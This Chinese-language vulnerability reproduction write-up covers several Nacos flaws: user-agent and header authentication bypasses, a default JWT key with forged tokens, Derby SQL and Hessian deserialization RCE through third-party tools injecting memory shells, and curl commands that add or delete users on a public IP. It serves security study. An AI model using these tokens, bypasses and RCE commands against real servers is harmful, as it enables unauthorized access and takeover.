Nacos 历史漏洞复现
背景
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
Nacos是阿里巴巴于2018年开源的项目,目前在Github中已获得 39.9k Star,由此可见其的使用广泛程度。
CVE-2021-29441(未授权访问)
漏洞简介
该漏洞发生在 nacos
在进行认证授权操作时,会判断请求的 user-agent
是否为 Nacos-Server
,如果是的话则不进行任何认证。
漏洞报送原 ISSUE:https://github.com/alibaba/nacos/issues/4593
影响版本
- nacos版本号 <= 2.0.0-ALPHA.1
- nacos版本号 < 1.4.1
环境搭建
使用 docker 基于 vulhub 项目的 nacos 部分进行搭建。
1 | docker-compose up -d |
漏洞复现
默认情况下我们访问 http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1,会返回 403 界
面。
但是当我们将 UA 修改为 Nacos-Server
即可进行权限绕过。
如果这里使用 vulhub 搭建的复现环境没有看到用户信息,可以通过如下数据包创建一个用户名为 nacos,密码为nacos。
1 | POST /nacos/v1/auth/users |
其他接口:
1 | // 查看所有用户 |
CVE-2021-29442(未授权接口命令执行漏洞)
漏洞简介
在 Nacos 1.4.1
之前的版本中,一些 API
端点(如 /nacos/v1/cs/ops/derby
)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL
语句和 Java
代码。
影响版本
Nacos < 1.4.1
环境搭建
用 docker 基于 vulhub 项目的 nacos 部分进行搭建。
1 | docker-compose up -d |
漏洞复现
这里使用的工具:https://github.com/h0ny/NacosExploit
使用蚁剑连接:
QVD-2023-6271(默认key导致权限绕过)
漏洞简介
Nacos 用户使用默认 JWT 密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录 nacos 用户。
影响版本
0.1.0<= Nacos<= 2.1.0
环境搭建
源码下载地址:https://github.com/alibaba/nacos/releases/tag/2.2.0-BETA
推荐使用 JDK8 + Mysql 5.6 + 版本运行。
这里数据库默认使用的是 H2,无需安装任何数据库直接启动,也可以使用 Mysql 数据,这里使用 Mysql 进行演示。
修改 /nacos/conf/application.properties
文件设置数据库连接信息(需取消注释):
接着来到 /nacos/bin/
目录执行:
1 | ./startup.sh -m standalone # 使用单机模式启动 |
查看日志:
1 | cat /opt/nacos/logs/start.out |
访问:
漏洞复现
进入到 /nacos/conf
对 application.properties
文件进行筛选。
得到的 KEY 如下:
1 | SecretKey012345678901234567890123456789012345678901234567890123456789 |
利用如下网站构造 jwt:
构造如下:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTUxNjIzOTAyMn0.vT2EAK9EbhT_l43AmfUmVIdly8tkepP5NxeFe0740YY |
先抓取登陆接口的数据包,在请求头添加字段:Authorization: Bearer (JWT)
:
即:
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTUxNjIzOTAyMn0.vT2EAK9EbhT_l43AmfUmVIdly8tkepP5NxeFe0740YY |
成功进入到后台。也可以使用如下验证POC进行验证(不同版本会有所不同):
1 | /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 |
或
1 | /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9&search=accurate |
Nacos 2.2.0 权限绕过
漏洞简介
在 Request Header 中添加:serverIdentity: security
即可实现未授权访问。
影响版本
Nacos <= 2.2.0
环境搭建
源码下载地址:https://github.com/alibaba/nacos/releases/tag/2.2.0
推荐使用 JDK8 + Mysql 5.6 + 版本运行。
这里数据库默认使用的是 H2,无需安装任何数据库直接启动,也可以使用 Mysql 数据,这里使用 Mysql 进行演示。
修改 /nacos/conf/application.properties
文件设置数据库连接信息(需取消注释):
接着来到 /nacos/bin/
目录执行:
1 | ./startup.sh -m standalone # 使用单机模式启动 |
漏洞复现
1 | GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate |
经过测试发现 2.2.0 版本不添加该字段也可以实现未授权访问。
Nacos Hessian 反序列化漏洞
漏洞简介
Nacos 默认的 7848 端口是用于 Nacos 集群间 Raft
协议的通信,该端口的服务在处理部分 Jraft
请求时会使用 Hessian
进行反序列化。
Nacos 1.4.1+ 在单机模式下默认不开放 7848 端口,故该情况通常不受此漏洞影响。然而,1.4.0、2.x版本无论单机或集群模式均默认开放 7848 端口。
影响版本
- 1.4.0 <= Nacos < 1.4.6
- 2.0.0 <= Nacos < 2.2.3
环境搭建
参考 nacos 2.2.0 权限绕过环境搭建
漏洞复现
本漏洞主要是针对 7848 端口,一般公网上的 nacos 服务只开放 8848 端口,7748 端口一般在内网中被大量使用。
工具下载链接:https://github.com/c0olw/NacosRce
注入内存马并执行命令:
1 | java -jar NacosRce.jar http://120.48.128.24:8848/nacos/ 7848 "whoami" |
只注入内存马:
1 | java -jar NacosRce.jar http://120.48.128.24:8848/nacos/ 7848 memshell |
其他漏洞
接口未授权
某些版本下该接口可能存在未授权漏洞,示例版本:2.2.0-BETA
查看列出前10页的用户:
1 | curl -X GET "http://120.48.128.24:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=10" |
添加用户:
1 | curl -X POST "http://120.48.128.24:8848/nacos/v1/auth/users" -d "username=x1ong&password=x1ong" |
删除用户:
1 | curl -X DELETE "http://120.48.128.24:8848/nacos/v1/auth/users?username=x1ong" |
小 trick
获取版本信息
1 | /nacos/v1/console/server/state |